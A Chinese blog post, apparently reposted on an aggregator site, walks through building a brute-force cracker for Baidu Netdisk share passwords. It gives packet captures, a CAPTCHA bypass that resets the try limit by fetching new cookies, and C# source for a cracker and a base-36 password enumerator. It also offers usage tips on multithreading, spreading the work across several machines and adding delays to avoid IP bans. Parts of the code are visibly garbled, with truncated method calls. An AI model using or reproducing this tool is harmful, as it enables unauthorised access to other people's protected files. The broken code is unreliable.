注意:网络错误的说明IP暂时被百度和谐了(约1-2W以上),所以再练习路由器换IP就可以了。赫立;我没办法,赫利布;赫立;关于复制的问题,这个win10在窗口点击鼠标右键后会自动粘贴,其他不明确的内容仅限于技术交流和学习,不能用于其他用途!使用不当导致的所有结果都与本人无关!众所周知,百度云丹共享有时需要密码,但由于众所周知的原因,有些地址没有密码hellip。赫立;以前网上好像有解密工具,但几年前是古董,不能再用了。所以我花了两个晚上自己分析和写密码破译器。按照我的习惯,开源让后人少走弯路很方便。(莎士比亚,莎士比亚。)

小白和伸手党请直接找0x04谢谢。0x00:试探大家都知道,百度分享密码时4个字母数字的组合,总共36^4=1679616种可能,在密码破解方面是很少的,我们只需要穷举即可。 随便分享一个文件,试着输输密码,发现输错3次之后就会出现验证码,必须要绕过这个验证机制,否则一切都是白搭(你可以试试写ocr识别),由于我懒得下账号了所以用的是Chrome的隐身模式上的,发现关闭隐身窗口重开验证次数就会重置,说明这个次数是和cookie有关的,只要get到新的cookie,就可以绕过限制,而这在模拟提交时是很方便搞定的,所以理论上是可行的。

0x01:抓包分析我们分享的地址会跳转到;uk=xxx上,我们只需研究后者即可。 首先抓GET的包,有用的就header中的set cookie(可能包含账户信息,部分数据经过处理):

Set-Cookie: PANWEB=1; expires=Fri, 27-Jul-2018 09:21:53 GMT; path=/; domain=

Set-Cookie: BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; expires=Fri, 27-Jul-18 09:21:53 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1

然后是POST的数据包格式(数据经过处理):

POST [url=http:///share/verify?shareid=1234567860&uk=1234563646&t=41&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTE0NzM1MzM0NTAuMDU3ODQxNzA5MTY4OTU4OTI=]http:///share/verif ... DQxNzA5MTY4OTU4OTI=[/url] HTTP

Host:

Proxy-Connection: keep-alive

Content-Length: 26

Accept: */*

Origin: [url=http://]http://[/url]

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla (Windows NT 10.0; Win64; x64) AppleWebKi (KHTML, like Gecko) Chrome Safari

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: [url=http:///share/init?shareid=1234567860&uk=1234563646]http:///share/init?shareid=1234567860&uk=1234563646[/url]

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: PANWEB=1; BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; Hm_lvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318; Hm_lpvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318

pwd=1234&vcode=&vcode_str=

那个pwd就是我输入的密码了,返回值是下面几种:

{"errno":-9,"err_msg":"","request_id":4817706520363686291} //密码错误

{"errno":-62,"request_id":206026661042873124} //要验证码了

{"errno":0,"err_msg":"","request_id":4817740255807962253} //密码正确

GET的数据我们只需要在处理时set一下cookie就可以了,不管它,重点看post的东西,提交的pwd已经知道是密码,vcode和vcode_str只有在验证码时才用到,关键就在那个Post的地址上,经过多次抓包比较发现有下面几个参数:

我们只需要看t/app_id/logid就好了: t:这个通过站长工具可以查到就是13位的unix时间戳,没啥特殊的 app_id:似乎是用户标识?每个用户应该是个定值 logid:BASE64解密后是两串数字,有点像时间戳但又不是 下面只能通过实验来验证了……

0x02:验证这里我卡了好久,一开始怎么提交都是返回2,不过这个2是个什么东西?到处查资料,原来是参数错误,难道最后那两个东西还有检测么?这可咋办,后来发现Fidder post的时候是独立cookie的,自然会报错,只好写个小程序先get再post。 然后直接用站长工具生成一个,然后另两个暂时不动,提交一个试试……嗯?返回-9?也就是通过了验证,返回密码错误了! 难道那两个没什么用么?app_id随便填一个试试,Logid就不变了,果然,也成功了!多试几次,每次新New一个httprequest,发现连试10次都返回-9,也就是说通过新建cookie绕过验证码的方法是成功的!下面就是破解器的编写了。

0x03:破解由于要给大家用肯定不能用py写,一开始用c++和curl,然后Post后无论如何都抓不到前三次返回的包,但是3次失败之后的包倒是一抓一个准……不知道是我写错了还是什么诡异BUG……无奈只好换C#,由于不太熟悉C#的网络操作,到处找资料,调试花了很久……代码也得比较屎,将就着看吧……

class crack

{

//URL格式必须严格为[url=;uk=xxx];uk=xxx[/url]

public void init(string url)

{

HttpGet(url);

info = url.Replace("http:///share/init?", "");

}

//尝试密码,3次后请重新建立实例(否则会有验证码)

public int trypwd(string pwd)

{

//取得时间戳

Sy time = Sy.Now;

Sy startTime = TimeZone.Curren(new Sy(1970, 1, 1, 0, 0, 0, 0));

long ts = - ) / 10000;

string data = HttpPost("http:///share/verify?" + info + "&t=" + () + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==", "pwd=" + pwd + "&vcode=&vcode_str=");

if ("\"errno\":-9")) return 0;

else if ("\"errno\":0")) return 1;

else return -1;

}

private string HttpPost(string Url, string Data)

{

try

{

HttpWebRequest request = (HttpWebReque(Url);

reque = "POST";

reque = "application/x-www-form-urlencoded; charset=UTF-8";

reque = "http:///share/init?" + info;

reque = Encoding.UTF8.GetByteCount(Data);

reque = cookie;

Stream myRequestStream = reque();

byte[] postBytes = Encoding.UTF8.GetBytes(Data);

myReque(postBytes, 0, );

HttpWebResponse response = (HttpWebResponse();

re = cookie.GetCookie);

Stream myResponseStream = re();

StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));

string retString = myS();

myS();

myRe();

return retString;

}

catch ex)

{

return "error";

}

}

private string HttpGet(string Url)

{

HttpWebRequest request = (HttpWebReque(Url);

reque = "GET";

reque = "text/html;charset=UTF-8";

reque = cookie;

HttpWebResponse response = (HttpWebResponse();

Stream myResponseStream = re();

StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));

string retString = myS();

myS();

myRe();

return retString;

}

private CookieContainer cookie = new CookieContainer();

private string info;

}

一开始我没有加reque = "http:///share/init?" + info;这句,然后无限返回2参数错误,我只好再用wse抓包比较,经过尝试发现必须要加上这个referer才行,其他的有没有无所谓……我也是醉了…… 不过既然要破解密码,当然要生成密码,考虑到效率问题不太想用密码字典,写了一个哈希类将密码和一个数字一一对应。其实也就是把密码看成36进制,然后转换为10进制,防止有前导零,方便起见在所有数字前面加了个1

class hash

{

//哈希类 36进制

//有效哈希[10000000,11679615]

static public string Hash2Str(int hash)

{

string ret = "";

hash -= 10000000;

while (hash > 0)

{

ret += Hash2Char(hash % 36);

hash /= 36;

}

if == 3) ret += "0"; //前导零

if == 2) ret += "00";

if == 1) ret += "000";

if == 0) ret += "0000";

return reverse(ret);

}

static public int Str2Hash(string str)

{

int ret = 0;

ret += Char2Hash(str[0]) * 46656;

ret += Char2Hash(str[1]) * 1296;

ret += Char2Hash(str[2]) * 36;

ret += Char2Hash(str[3]);

ret += 10000000; //防止前导零

return ret;

}

static private int Char2Hash(char c)

{

if (c >= '0' && c <= '9') return c - '0';

else return c - 'a' + 10;

}

static private char Hash2Char(int hash)

{

if (hash >= 0 && hash <= 9) return (char)('0' + hash);

else return (char)('a' + hash - 10);

}

static private string reverse(string str)

{

char[] arr = ();

Array.Reverse(arr);

return new string(arr);

}

}

这样就可以用多线程平均划分任务了,又是查资料测试啥的花了好久搞定了&hellip;&hellip;

0x04:成果由于不太会c#的窗口程序,就用控制台的代替了,这样速度更快不是么:-D

使用说明: 目标网址是跳转的那个网址!切记!! 密码开始结束点:方便多电脑多开,每位数字0最小z最大(请用小写),比如电脑A跑0000-c000,电脑B跑c001-zzzz 不知道怎么计算的同学可以百度一下,这里就不放连接了,会被查(私信我可以),第一个框选10进制,第二个框选36进制,然后密码序号就是从0~1679615,自己计算一下比如559872输到第一个框,第二个框计算出来就是c000,如果不足四位在前面补0就行了。 延时毫秒:发现短时间内爆1W+的话提交地址会暂时404你的IP,这时候会无限显示网络错误,推荐100~2000就行了 线程数:根据机器配置来,太多会卡速度的。

好了,教程就到这里,你学会了吗?需要源码和程序的小伙伴可以私信我或者评论区留下邮箱哦。

如何私信?关注我之后就可以点击私信了。

我下班后都会一一回复,请不要着急。

1.《电脑百度网盘密码登录不了怎么办看这里!福利!百度云盘教学密码破解器及数据包分析(附源码分享)》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《电脑百度网盘密码登录不了怎么办看这里!福利!百度云盘教学密码破解器及数据包分析(附源码分享)》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/gl/3007608.html